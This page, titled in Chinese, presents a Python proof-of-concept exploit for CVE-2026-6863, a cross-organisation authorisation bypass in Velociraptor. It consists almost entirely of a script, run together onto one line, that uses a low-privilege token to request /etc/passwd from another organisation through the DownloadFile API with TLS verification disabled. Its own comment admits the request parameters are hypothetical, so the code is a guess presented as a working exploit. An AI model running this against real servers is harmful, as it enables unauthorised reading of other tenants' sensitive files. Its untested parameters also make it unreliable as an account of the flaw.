CVE-2026-6863 Velociraptor跨组织授权绕过漏洞

import requests # CVE-2026-6863 PoC: Cross-Organization Auth Bypass # Description: A user with low privileges in the root org can read files from other orgs. target_url = "https://velociraptor-server/api/v1/DownloadFile" # Simulated authentication token for a low-privileged root org user auth_token = "Bearer <LOW_PRIVILEGE_ROOT_TOKEN>" # Headers mimicking a legitimate authenticated request headers = { "Authorization": auth_token, "Content-Type": "application/json" } # The vulnerability allows specifying a target org or file path directly # that the API fails to validate against the user's actual scope. # This parameter structure is hypothetical based on the vulnerability description. params = { "org_id": "<TARGET_ORG_ID>", # ID of the target organization "vfs_path": "/etc/passwd" # Sensitive file to read } try: response = requests.get(target_url, headers=headers, params=params, verify=False) if response.status_code == 200: print("[+] Exploit successful! File content retrieved:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")